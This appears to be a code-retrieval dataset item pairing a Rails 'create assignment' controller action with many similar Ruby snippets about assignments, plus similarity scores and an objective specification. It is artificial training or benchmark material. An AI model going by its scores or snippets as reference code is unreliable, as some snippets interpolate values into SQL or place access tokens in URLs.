"def show\n @assignment = Assignment.find(params[:id]) #respond_to do |format|\n # format.html # index.html.erb\n # format.xml { render :xml => @assignments }\n @task = @assignment.task\n @project = @task.project\n \n @assignee = @assignment.user\n @members = @project.memberships.select { |member| member.is_approved? }\n @candidates = @members.collect { |member| member.user }\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"def index\n @assignments = Assignment.all\n if current_user.instructor?(@course)\n if @assignment = @course.assignments.last\n @URL = course_assignment_url(@course, @assignment)\n else\n @URL = edit_user_path(current_user, :course => @course.id) #default is settings page\n end\n else #student\n if urgent = @course.to_do(current_user)[0] # see if student has a to_do\n @URL = course_assignment_url(@course, urgent[:assignment])\n elsif (any = @course.assignments.select{|a| !a.draft }).length > 0\n @URL = course_assignment_path(@course, any.sort_by{|a| a.created_at }.last ) #show newest assignment\n else\n @URL = edit_user_path(current_user) #go to settings page\n end\n end\n\n respond_to do |format|\n format.html { redirect_to(@URL) }\n format.json { render json: @assignments }\n end\n end",
"def index\n @task_assignments = TaskAssignment.all\n end",
"def get_single_assignment(course_id,id,include,opts={})\n query_param_keys = [\n :include,\n :override_assignment_dates\n ]\n\n form_param_keys = [\n \n ]\n\n # verify existence of params\n raise \"course_id is required\" if course_id.nil?\n raise \"id is required\" if id.nil?\n raise \"include is required\" if include.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :course_id => course_id,\n :id => id,\n :include => include\n )\n\n # resource path\n path = path_replace(\"/v1/courses/{course_id}/assignments/{id}\",\n :course_id => course_id,\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_params(options, query_param_keys)\n if opts[:next_page]\n pagination_params = page_params_load(:get, path)\n query_params.merge! pagination_params if pagination_params\n end\n response = mixed_request(:get, path, query_params, form_params, headers)\n page_params_store(:get, path)\n Assignment.new(response)\n end",
"def get_assignments(course_id)\n\n request = Net::HTTP::Get.new(\n \"/api/v1/courses/#{course_id}/assignments?include=overrides&access_token=#{Rails.application.secrets.canvas_access_token}\"\n )\n response = open_canvas_http.request(request)\n info = get_all_from_pagination(response)\n\n info\n end",
"def show\n\t\t@grade = Grade.find_by_assignment_id_and_user_id(@assignment.id, @current_user.id)\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @assignment }\n\t\tend\n\tend",
"def show\n @grade = Grade.find(params[:id])\n respond_to do |format|\n format.html \n format.json { render :json => @grade.as_json(:include => :assignment) }\n end\n end",
"def assignments\n @assignments = Assignment.where(\"email=?\",session[:user].email)\n end",
"def show\n @patient_assignment = PatientAssignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @patient_assignment }\n end\n end",
"def index\n @user_assignments = UserAssignment.all\n end",
"def index\n @techers_assignments = TechersAssignment.all\n end",
"def index\n if params[:assignment_id] && current_user.teacher?\n @assignment = Assignment.find(params[:assignment_id])\n @grades = @assignment.grades\n elsif params[:id] && current_user.teacher?\n @user = User.find(params[:id])\n elsif current_user.teacher?\n @assignments = current_user.assignments\n else\n @user = current_user\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @assignment.to_json(:include => :grades ) } \n end\n end",
"def goto_assignments\n goto_controller('Assignments')\n end",
"def find\n @assignment = Assignment.find_by_shift_id_and_user_id(params[:shift_id], params[:user_id])\n\n respond_to do |format|\n format.json { render :json => @assignment }\n end\n end",
"def get_single_assignment_lti(assignment_id,opts={})\n query_param_keys = [\n :user_id\n\n ]\n\n form_param_keys = [\n \n\n ]\n\n # verify existence of params\n raise \"assignment_id is required\" if assignment_id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :assignment_id => assignment_id\n\n )\n\n # resource path\n path = path_replace(\"/lti/assignments/{assignment_id}\",\n :assignment_id => assignment_id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:get, path, query_params, form_params, headers)\n LtiAssignment.new(response)\n \n\n end",
"def show\n #@@assignment = return_if_assignment_exists?\n @temp_assignment = @assignment.assignments_users.where(:assignee_id => current_user.id)\n @comments = @assignment.comments\n @subtasks = @assignment.subtasks\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def index\n @exceller_assignments = ExcellerAssignment.all\n end",
"def index\n @assignments = current_campaign.all_assignments.order(id: :desc)\n end",
"def index\n @assignments = Assignment.eager_load(assignment_schedules: :corrections).order(number: :asc).all\n end",
"def new\n @assignment = @user.assignments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"def get_assignment\n return TestCase.find(params[:id]).assignment\n end",
"def show\n authorize! :read, @assignment\n end",
"def get_project_assignments\n respond_to do |format|\n param = params[:payload]\n format.json {\n @project_applications = ProjectApplication.where(:student_approved => true, :professor_approved => true)\n if @project_applications\n render :json => @project_applications\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def index\n @assignments = Assignment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @assignments }\n end\n end",
"def show\n @group = Group.find(params[:group_id])\n @assignment = @group.assignments.find(params[:id])\n if params[:user_id]\n @user = @group.users.find(params[:user_id])\n @attempts = @assignment.attempts.where(:user_id => @user.id)\n else\n @attempts = @assignment.attempts.includes(:user)\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assignment }\n end\n end",
"def show\n @assigned_project = AssignedProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @assigned_project }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @assignment }\n end\n end",
"def all\n @assignments = TaskAssignment.all\n\n end",
"def index\n @assignments = $current_community.assignments.where(:close_date => nil).joins(:assignment_status) \n authorize Assignment\n end",
"def new\n @assignment = @course.assignments.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @assignment }\n end\n end",
"def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def new\n @assignment = Assignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def new\n @assignment = Assignment.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def index\n @assignment_special_assignments = Assignment::SpecialAssignment.paginate(:page => params[:page], :per_page => 50)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @assignment_special_assignments }\n end\n end",
"def index\n #select only the records for the given course param.\n @assignments = Assignment.where(\"course_id = ?\", params[:course_id])\n end",
"def index\n if params[:query]\n data = RepoWrapper.search(params[:query]) # QUESTION: ...what?\n else\n data = Assignment.all\n end\n render status: :ok, json: data\n end",
"def get_task\n @task = Task.find(params[:task_id])\n @assignment = Assignment.find(@task.assignment_id)\n end",
"def index\n unless params[:assignment_id]\n render json: format_errors({ base: ['This Endpoint requires a assignment_id in the params'] }),\n status: :bad_request\n return\n end\n\n @iterations = current_user.iterations(includes: includes_array)\n .where(assignment_id: params[:assignment_id])\n serialize_collection @iterations, :ok\n end",
"def index\n @student_assignments = StudentAssignment.all\n end",
"def retrieve_assignment(experiment, subject)\n subject_identifier = experiment.retrieve_subject_identifier(subject)\n if value = get(experiment.handle.to_s, \"assignment_#{subject_identifier}\")\n hash = JSON.parse(value)\n experiment.subject_assignment(\n subject,\n experiment.group(hash['group']),\n Time.xmlschema(hash['created_at'])\n )\n end\n end",
"def set_assignment\n @assignment = Assignment.find(params[:id])\n end",
"def set_assignment\n @assignment = Assignment.find(params[:id])\n end",
"def set_assignment\n @assignment = Assignment.find(params[:id])\n end",
"def set_assignment\n @assignment = Assignment.find(params[:id])\n end",
"def set_assignment\n @assignment = Assignment.find(params[:id])\n end",
"def set_assignment\n @assignment = Assignment.find(params[:id])\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"def show\n @assignment = Assignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"def course_assignments\n all_assignments = []\n params = \"per_page=100\"\n while params do\n response = request_uncached(\n \"courses/#{@course_id}/assignments?#{params}\",\n '_course_assignments'\n )\n break unless (response && response.status == 200 && assignments_list = safe_json(response.body))\n all_assignments.concat(assignments_list)\n params = next_page_params(response)\n end\n all_assignments\n end",
"def load_assignment\n @assignment = Assignment.find(params[:assignment_id])\n end",
"def task_assignments\n @task_assignments ||= Harvest::API::TaskAssignments.new(credentials)\n end",
"def user_assignments\n @user_assignments ||= Harvest::API::UserAssignments.new(credentials)\n end",
"def show\n @assignment = (current_user.role? \"director\") ? Assignment.find(params[:id]) : current_user.assignments.find(params[:id]) \n end",
"def index\n @type_of_assignments = TypeOfAssignment.all\n end",
"def find_assignments\n assignment_ids =[]\n results = CONNECTION.execute(\"SELECT * FROM assignments_links WHERE link_id = #{@id};\")\n results.each do |hash|\n assignment_ids << hash[\"assignment_id\"]\n end\n Assignment.find_many(assignment_ids)\n end",
"def index\n\t\tboats = Assignment.all\n \trender json: boats, status: 200\n\tend",
"def new\n\t\t@assignment = Assignment.new\n\t\t@assignment_types = @course.assignment_types\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @assignment }\n\t\tend\n\tend",
"def index\n @case_assignments = CaseAssignment.all\n end",
"def index\n @activity_participant_assignments = ActivityParticipantAssignment.all\n end",
"def new\n @assigned = Assigned.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assigned }\n end\n end",
"def index\n @tasks = @assignment.tasks.all \n end",
"def view\n @subject = Subject.find(params[:id])\n @assignments = @subject.assignments.limit(10).reverse_order\n @new_assign = @subject.assignments.build\n @subject_id = @subject.id\n @adate = @subject.get_next_assignment_date\n\n respond_with(@assignments, @new_assign, @subject_id, @adate)\n end",
"def index\n @assignments = current_user.assignments\n\n\n if @assignments.count == 0\n render :error_page\n else\n render :index\n end\n\n end",
"def new\n @task = Task.new\n 3.times{@task.assignments.build}\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end",
"def index\n @assignments = Assignment.all(order: :id)\n if current_user.student?\n # get results for assignments for the current user\n @a_id_results = Hash.new()\n @assignments.each do |a|\n if current_user.has_accepted_grouping_for?(a)\n grouping = current_user.accepted_grouping_for(a)\n if grouping.has_submission?\n submission = grouping.get_submission_used\n if submission.has_result? && submission.get_latest_result.released_to_students\n @a_id_results[a.id] = submission.get_latest_result\n end\n end\n end\n end\n render :student_assignment_list\n elsif current_user.ta?\n render :grader_index\n else\n render :index\n end\n end",
"def show\n @portaluserassignment = Portaluserassignment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @portaluserassignment }\n end\n end",
"def index\n @roles_assignments = RolesAssignment.all\n end",
"def create\n unless current_user.assignments.find_by(id: params[:assignment_id])\n render json: format_errors({ assignment_id: [\"is not one of current user's assignments\"] }),\n status: :forbidden\n return\n end\n\n @iteration = Iteration.create(iteration_params)\n\n if @iteration.save\n render json: @iteration, status: :created\n else\n render json: format_errors(@iteration.errors),\n status: :unprocessable_entity\n end\n end",
"def all\n @assignments\n end",
"def new\n @project = Project.new\n @assignment = @project.assignments.build(user_id: current_user.id) \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @project }\n end\n end",
"def new\n @assignment_status = AssignmentStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment_status }\n end\n end",
"def new\n @assignment_standard_assignment = Assignment::StandardAssignment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment_standard_assignment }\n end\n end",
"def show\n authorize @assignment\n @assignment_update = AssignmentUpdate.new\n end",
"def user_assignments\n harvest_client.user_assignments(project_id: self.id)\n end",
"def show\n @course = Course.find(params[:id])\n if signed_in?\n @students = @course.students #assigns a student to that course array which it yields\n @teachers = @course.teachers #course array which it yields teachers\n @teacher = @teachers.include?(current_user)\n @student = @students.include?(current_user)\n\n end\n @assignments = Assignment.all\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @course }\n end\n end",
"def new\n @task = Task.find(params[:task_id])\n @project = @task.project\n @assignment = @task.assignments.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"def show\n @assignmentstatus = Assignmentstatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @assignmentstatus }\n end\n end"
] |
[
"0.712585",
"0.7047258",
"0.7047258",
"0.7047258",
"0.7047258",
"0.7026103",
"0.70218605",
"0.69764155",
"0.69756424",
"0.696039",
"0.696039",
"0.696039",
"0.6929115",
"0.6806007",
"0.6780801",
"0.67684746",
"0.67525375",
"0.67498857",
"0.6740297",
"0.67289686",
"0.6728486",
"0.6721224",
"0.66384625",
"0.6609212",
"0.6606069",
"0.65731317",
"0.65159833",
"0.6487265",
"0.6476861",
"0.64434695",
"0.64335084",
"0.6406592",
"0.6387908",
"0.6370253",
"0.6363539",
"0.6361056",
"0.63596076",
"0.6345246",
"0.6343849",
"0.6322096",
"0.630105",
"0.6287539",
"0.628164",
"0.62781465",
"0.6265658",
"0.6239462",
"0.62308854",
"0.6223959",
"0.6219052",
"0.62142223",
"0.6202232",
"0.6176934",
"0.6175524",
"0.6162814",
"0.61616373",
"0.61616373",
"0.6159973",
"0.61505586",
"0.610896",
"0.6095714",
"0.6087938",
"0.6079606",
"0.6070629",
"0.60679907",
"0.6053678",
"0.6053678",
"0.6053678",
"0.6053678",
"0.6053678",
"0.6053678",
"0.6040449",
"0.6040449",
"0.60315245",
"0.6013815",
"0.60123336",
"0.60097414",
"0.5992724",
"0.5988113",
"0.5981514",
"0.5978457",
"0.59776694",
"0.59772164",
"0.59727556",
"0.59700674",
"0.5958672",
"0.5953251",
"0.5949461",
"0.59446627",
"0.5922931",
"0.5920862",
"0.5911138",
"0.59110206",
"0.5905739",
"0.58913463",
"0.58845294",
"0.5869906",
"0.58625996",
"0.58599216",
"0.5855969",
"0.5849302",
"0.5846981"
] |
0.0
|
-1
|
POST /assignments POST /assignments.json
|
def create
# raise params.inspect
@assignment = Assignment.new(assignment_params)
@assignment.course = Course.find(params[:course_id])
@assignment.user=current_user
respond_to do |format|
if @assignment.save
format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }
format.json { render action: 'show', status: :created, location: @assignment }
else
format.html { render action: 'new' }
format.json { render json: @assignment.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @assignment = Assignment.new(assignment_params)\n @assignment.creator_id = current_user.id\n\n # THIS IS ONLY FOR CREATING ASSIGNMENT FOR THE VERY FIRST TIME\n # if users wants to add more users to this, edit should be used and user_assignment_controller for it\n respond_to do |format|\n if @assignment.save\n current_user.assignments << @assignment\n @assignment.update_attribute(:is_done, false)\n @assignment.user_assignments.first.update_attribute(:assignment_id, @assignment.id) # for each?\n format.html { redirect_to current_user, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { redirect_to :back }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_assignment(name)\n @url = \"http://#{$canvas_host}/api/v1/courses/#{$canvas_course_id}/assignments\"\n puts \"@url is #{@url}\"\n\n @payload={'assignment': { \n 'name': name,\n 'points_possible': '0',\n 'grading_type': 'pass_fail',\n 'published': 'true',\n 'submission_types': [ \"none\" ]\n }\n }\n\n @postResponse = HTTParty.post(@url, :body => @payload.to_json, :headers => $header )\n puts(\" POST to create assignment has Response.code #{@postResponse.code} and postResponse is #{@postRepsone}\")\nend",
"def create\n @assignment = @user.assignments.new(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n flash[:notice] = 'Committee assignment was successfully created'\n format.html { redirect_to user_assignments_path(@user) }\n format.xml { render :xml => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = Assignment.new(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully created.' }\n format.json { render :json => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @assigned = Assigned.new(params[:assigned])\n\n respond_to do |format|\n if @assigned.save\n format.html { redirect_to @assigned, notice: 'Assigned was successfully created.' }\n format.json { render json: @assigned, status: :created, location: @assigned }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assigned.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n unless current_user.assignments.find_by(id: params[:assignment_id])\n render json: format_errors({ assignment_id: [\"is not one of current user's assignments\"] }),\n status: :forbidden\n return\n end\n\n @iteration = Iteration.create(iteration_params)\n\n if @iteration.save\n render json: @iteration, status: :created\n else\n render json: format_errors(@iteration.errors),\n status: :unprocessable_entity\n end\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n @users = User.all\n @resources = Resource.all\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = Assignment.new(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n authorize! :create, Assignment\n @assignment = Assignment.new(assignment_params)\n @assignment.task = @task\n # @assignment.creator = current_user\n # @task.work = @work\n\n respond_to do |format|\n if @assignment.save!\n format.html { redirect_to project_task_assignments_path(@project,@task), notice: 'Assignment was successfully created.' }\n format.json { render action: 'show', status: :created, location: project_task_assignments_url(@project,@task) }\n else\n set_users\n @url = project_task_assignments_path(@project,@task)\n format.html { render action: 'new' }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, :notice => 'Assignment was successfully created.' }\n format.json { render :json => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => 'new' }\n format.json { render :json => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = current_user.created_assignments.create(assignment_params)\n @assignment.subtasks.create(params[:assignment][:subtask])\n respond_to do |format|\n if @assignment.save\n AssignmentsWorker.delay.perform(current_user.id)\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n\n respond_to do |format|\n if @assignment.save\n format.html {redirect_to @assignment, notice: 'Assignment was successfully created.'}\n format.json {render :show, status: :created, location: @assignment}\n else\n format.html {render :new}\n format.json {render json: @assignment.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n @assignment = Assignment.new(assignment_params.merge(lecturer_id: current_user.id))\n\n if @assignment.save\n if params[:projects_attributes]\n render json: @assignment,\n serializer: Includes::AssignmentSerializer,\n include: 'projects',\n status: :created\n else\n render json: @assignment, status: :created\n end\n else\n render json: format_errors(@assignment.errors),\n status: :unprocessable_entity\n end\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n @labs = Lab.all\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user_assignment = UserAssignment.new(user_assignment_params)\n\n respond_to do |format|\n if @user_assignment.save\n format.html { redirect_to @user_assignment, notice: 'User assignment was successfully created.' }\n format.json { render :show, status: :created, location: @user_assignment }\n else\n format.html { render :new }\n format.json { render json: @user_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @task_assignment = TaskAssignment.new(task_assignment_params)\n\n respond_to do |format|\n if @task_assignment.save\n format.html { redirect_to @task_assignment, notice: 'Task assignment was successfully created.' }\n format.json { render :show, status: :created, location: @task_assignment }\n else\n format.html { render :new }\n format.json { render json: @task_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = Assignment.new(assignment_params)\n authorize @assignment\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: t(:success, :model => Assignment.model_name.human) }\n format.json { render :show, status: :created, location: @assignment }\n else\n format.html { render :new }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # existing = Assignment.where(classroom_id: params[:classroom_id], repo_url: params[:repo_url])\n # if !existing.first.nil?\n # return error_as_json(\"Assignment #{params[:repo_url]} already exists for classroom #{params[:classroom_id]}\")\n # end\n @assignment = Assignment.new(assignment_params)\n @assignment.save ? info_as_json(\"Created assignment #{@assignment.name}\") : error_as_json(@assignment.errors)\n end",
"def create\n @roles_assignment = RolesAssignment.new(roles_assignment_params)\n\n respond_to do |format|\n if @roles_assignment.save\n format.html { redirect_to @roles_assignment, notice: 'Roles assignment was successfully created.' }\n format.json { render :show, status: :created, location: @roles_assignment }\n else\n format.html { render :new }\n format.json { render json: @roles_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save_assignments\n csids = self.assigned_to_ids\n klass = self.is_annotation? ? 'Annotation' : self.class.name\n unless csids.nil?\n new_ids = csids.to_s.split(',').map(&:to_i)\n current_ids = self.reload.assignments.map(&:user_id)\n to_create = new_ids - current_ids\n to_delete = current_ids - new_ids\n to_delete.each do |id|\n Assignment.where(assigned_type: klass, assigned_id: self.id, user_id: id).last.destroy!\n end\n to_create.each do |id|\n Assignment.create!(assigned_type: klass, assigned_id: self.id, user_id: id, message: self.assignment_message)\n end\n # Save the assignment details to send them as Slack notifications\n self.instance_variable_set(\"@assignment\", { to_create: to_create, to_delete: to_delete }) unless to_delete.blank? and to_create.blank?\n end\n end",
"def new\n @task = Task.new\n 3.times{@task.assignments.build}\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end",
"def create\n @task = Task.find(params[:task_id])\n @assignment = @task.assignments.build(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n flash[:notice] = 'The assignment was successfully created.'\n format.html { redirect_to project_task_path(@task.project, @task)}\n format.xml { render :xml => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @user_assignment = UserAssignment.new(user_assignment_params)\n\n respond_to do |format|\n if @user_assignment.save\n format.html { redirect_to current_user, notice: 'Worker was successfully added' }\n format.json { render :show, status: :created, location: @user_assignment.assignment }\n\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def assignment_params\n params.require(:assignment).permit(:name, :due_at, :activity_id, :category_id, :status, :is_completed, user_ids: [])\n end",
"def create\n @task = Task.new(params[:task])\n respond_to do |format|\n if @task.save\n @del = Delegation.find_by_user_id(params[:user][:id])\n @task.assignments.each do|a|\n a.update_attribute(:delegation_id,@del.id) unless @del.nil?\n end\n format.html { redirect_to @task, notice: 'Task was successfully created.' }\n format.json { render json: @task, status: :created, location: @task }\n else\n format.html { render action: \"new\" }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @organization = Organization.new(organization_params)\n @organization.assignments << Assignment.new({user: current_user, organization: @organization, is_admin: true, is_active: true})\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment_special_assignment = Assignment::SpecialAssignment.new(params[:assignment_special_assignment])\n\n respond_to do |format|\n if @assignment_special_assignment.save\n format.html { redirect_to @assignment_special_assignment, notice: 'Special assignment was successfully created.' }\n format.json { render json: @assignment_special_assignment, status: :created, location: @assignment_special_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment_special_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @assignment = @course.assignments.build\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment }\n end\n end",
"def assignment_params\n params.require(:assignment).permit(:name, :is_done, :deadline, :group_id, user_assignments_attributes: [:user_id])\n end",
"def create\n @submission = Submission.new(:student_id => current_student.id, :assignment_id => params[:assignment_id])\n\n respond_to do |format|\n if @submission.save\n @assignment = @submission.assignment\n @assignment.questions.each do |question| \n answer = SubmittedAnswer.new(:submission_id => @submission.id, :question_id => question.id)\n answer.save\n end\n format.html { redirect_to edit_submission_path(@submission), notice: 'Submission was successfully created.' }\n format.json { render json: @submission, status: :created, location: @submission }\n else\n format.html { render action: \"new\" }\n format.json { render json: @submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @group = Group.find(params[:group_id])\n @assignment = @group.assignments.build(params[:assignment])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to [:teacher, @group], notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:assignment].delete(:employee)\n @assignment = Assignment.new(params[:assignment])\n @assignment.start_date = Chronic.parse(params[:assignment][:start_date])\n @assignment.end_date = Chronic.parse(params[:assignment][:end_date])\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to @assignment, notice: 'Assignment was successfully created.' }\n format.json { render json: @assignment, status: :created, location: @assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assignment_params\n params.require(:assignment).permit(:name, :start_date, :end_date, :point, :course_instance_id, :status, :max_attempt)\n end",
"def assignment_params\n params.require(:assignment).permit(:name, :start_date, :end_date, :rating, :type, :course_id, :questions => [])\n end",
"def create\n @patient_assignment = PatientAssignment.new(params[:patient_assignment])\n\n respond_to do |format|\n if @patient_assignment.save\n format.html { redirect_to @patient_assignment, notice: 'Patient assignment was successfully created.' }\n format.json { render json: @patient_assignment, status: :created, location: @patient_assignment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @patient_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def assignment_params\n params.require(:assignment).permit(:inspector_id, :inspection_id, :scheduled_for)\n end",
"def create\n @student_assignment = StudentAssignment.new(student_assignment_params)\n\n respond_to do |format|\n if @student_assignment.save\n format.html { redirect_to @student_assignment, notice: 'Student assignment was successfully created.' }\n format.json { render :show, status: :created, location: @student_assignment }\n else\n format.html { render :new }\n format.json { render json: @student_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @solution = Solution.new(solution_params)\n @solution.user_id = current_user.id\n @assignment = Assignment.find(params[:assignment_id])\n respond_to do |format|\n if @solution.save\n format.html { redirect_to @solution, notice: 'Solution was successfully created.' }\n format.json { render :show, status: :created, location: @solution }\n else\n format.html { render :new }\n format.json { render json: @solution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @techers_assignment = TechersAssignment.new(techers_assignment_params)\n\n respond_to do |format|\n if @techers_assignment.save\n format.html { redirect_to @techers_assignment, notice: 'Techers assignment was successfully created.' }\n format.json { render :show, status: :created, location: @techers_assignment }\n else\n format.html { render :new }\n format.json { render json: @techers_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @assignment = Assignment.new(params[:assignment].merge(:course_id => params[:course_id]))\n\n respond_to do |format|\n if @assignment.save\n format.html { redirect_to(course_assignment_path(:course_id => params[:course_id], :id => @assignment.id), :notice => 'Assignment was successfully created.') }\n format.xml { render :xml => @assignment, :status => :created, :location => @assignment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @assignment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def make_assignments(assigned_questions)\n assigned_questions.each do |question|\n existing_assignment = Assignment.find_by_user_id_and_question_id(self.id,question.id)\n if existing_assignment == nil\n Assignment.create(:question_id => question.id , :user_id => self.id)\n end\n end\n end",
"def new\n @assignment = @user.assignments.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @assignment }\n end\n end",
"def index\n render json: { assignments: [ @assignment.as_json ] }\n end",
"def create\n @exceller_assignment = ExcellerAssignment.new(exceller_assignment_params)\n\n respond_to do |format|\n if @exceller_assignment.save\n format.html { redirect_to @exceller_assignment, notice: 'Exceller assignment was successfully created.' }\n format.json { render :show, status: :created, location: @exceller_assignment }\n else\n format.html { render :new }\n format.json { render json: @exceller_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
